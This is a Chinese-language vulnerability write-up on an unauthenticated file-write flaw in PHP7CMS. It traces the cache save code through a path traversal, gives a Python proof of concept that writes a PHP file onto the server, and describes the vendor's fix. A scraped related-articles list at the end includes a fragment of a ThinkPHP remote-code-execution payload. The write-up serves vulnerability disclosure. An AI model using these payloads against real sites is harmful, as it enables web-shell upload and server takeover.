Version:2018-10-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

[PHP] 纯文本查看 复制代码// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

$rt = \Phpcmf\Service::L('cache')->init('file')->save(

\Phpcmf\Service::L('Input')->get('name'),

\Phpcmf\Service::L('Input')->post('data'),

7200

);

var_dump($rt);

exit;

}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

[PHP] 纯文本查看 复制代码// php7cms/Fcms/Library/Cache.php

// 112~121 line

public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

$config = new \Config\Cache();

$config->handler = 'file';

$config->prefix = $prefix;

!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

$config->path = WRITEPATH.'caching/';

$cache = \Config\Services::cache($config, 0);

return $cache;

}

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

[PHP] 纯文本查看 复制代码// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

$key = $this->prefix . $key;

$contents = [

'time' => time(),

'ttl' => $ttl,

'data' => $value,

];

if ($this->writeFile($this->path . $key, serialize($contents)))

{

chmod($this->path . $key, 0640);

return true;

}

return false;

}

[PHP] 纯文本查看 复制代码//324~345 line

protected function writeFile($path, $data, $mode = 'wb')

{

if (($fp = @fopen($path, $mode)) === false)

{

return false;

}

flock($fp, LOCK_EX);

for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

{

if (($result = fwrite($fp, substr($data, $written))) === false)

{

break;

}

}

flock($fp, LOCK_UN);

fclose($fp);

return is_int($result);

}

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

[PHP] 纯文本查看 复制代码from requests import post

postData = {

'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

-1.png (123.79 KB, 下载次数: 23)

2018-12-14 13:05 上传

新版修复:

3.png (27.21 KB, 下载次数: 28)

2018-12-14 13:07 上传

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

03.png (35.6 KB, 下载次数: 26)

2018-12-14 13:07 上传

php7 cms,PHP7CMS 无条件前台GETSHELL相关推荐

  1. PHP7CMS 无条件前台GETSHELL

    PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的. 01 02 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell

    原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景 网站为了实现加速访问,会将用户访问过的页面 ...

  4. [复现]蝉知cms 5.6 前台注入

    https://share.weiyun.com/5cbff06337d32a9748d0f1bead5ddbd5 前台注入 在/chanzhieps/system/module/cart/contr ...

  5. SAP Spartacus里Commerce后台CMS Component和前台Angular的一一映射关系

    在configuration.service.ts的config对象里查看: 路径如下: 高亮的都是CMS Component,这些key的value就是Spartacus里实现的Angular Co ...

  6. 正方教务系统php登陆,正方教务管理系统最新版无条件注入GetShell | wooyun-2015-0122523| WooYun.org...

    正方教务系统提供了一系列的WebService接口,然而这些接口并未经过严格的认证,从而导致任何浏览者都可以使用这些接口查询信息.由于其对用户提交的参数未进行过滤,从而导致注入的发生! 搜索发现正方教 ...

  7. siteservercms 缺点_Siteserver CMS 远程模板下载Getshell漏洞

    SiteServerCMS-Remote-download-Getshell-vulnerability SiteServerCMS 远程模板下载Getshell漏洞 avatar 漏洞缺陷是由于后台 ...

  8. phpcms v9前台getshell

    PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠 ...

  9. catfish V4.8.48-4.8.54 前台getshell复现过程

    s=dir&filter[]=system&_method=__construct&method=* s=echo "<?php @eval($_POST['a ...

最新文章

  1. Android中Handler消息机制
  2. UVA839 天平 Not so Mobile(二叉树的递归遍历建树并回答问题)
  3. 从此以后,江湖有了它的传说!
  4. 他让张一鸣登门请教,培养出戴文渊李沐陈天奇,创建了传说中的上海交大ACM班...
  5. 封装CoreGraphics的API简化绘图操作
  6. php链接页面时加..,怎么给一个PHP密码访问页面加超链接
  7. 获香港证监会颁发牌照的弘量研究,正用智能投顾帮助金融机构降低成本,提升资产管理能力 By 藤子2017年10月09日 17:16 撰文 | 藤子 2015 年,雷春然和黄耀东都是在香港科技大学的
  8. nginx代理转发_学了三年的性能调优,你还不懂Nginx?怎么跳槽涨薪
  9. js Blob对象介绍
  10. SAP R/3系统的R和3分别代表什么含义,负载均衡的实现原理 1
  11. CF思维联系– Codeforces-990C Bracket Sequences Concatenation Problem(括号匹配+模拟)
  12. 二进制安装mariadb-10.2.8
  13. 国外著名java技术资料网站
  14. java非侵入式接口实现,C++编写非侵入式接口
  15. 代码随笔——点阵汉字在LCD上的显示
  16. php7 生成.so,centos8 php7 生成 openssl.so 文件执行make时报错:【已解决】
  17. 记一次设置密钥登陆centos7所遇问题
  18. Log4J2 靶场漏洞复现
  19. 射影几何----共线四点保交比的三种射影变换类型的几何表示
  20. Hbase、Kudu和ClickHouse横向对比

热门文章

  1. linux系统怎样写单片机程序,单片机知识是Linux驱动开发的基础之一以及如何学单片机...
  2. python手把手教程_【Python 1-7】Python手把手教程之——详解列表List
  3. python将print内容输入txt_Python将矩阵写入txt文件,保持格式
  4. Java ObjectInputStream close()方法与示例
  5. 详解4种经典的限流算法
  6. 案例:Redis 问题汇总和相关解决方案
  7. 电脑系统越来越慢,怎么删除临时文件
  8. html标签名都是小写,到底啥是w3c标准(示例代码)
  9. arm b bl 地址无关码_32位和64位下的arm_pwn初探
  10. mysql主从配置_MySQL主从配置详解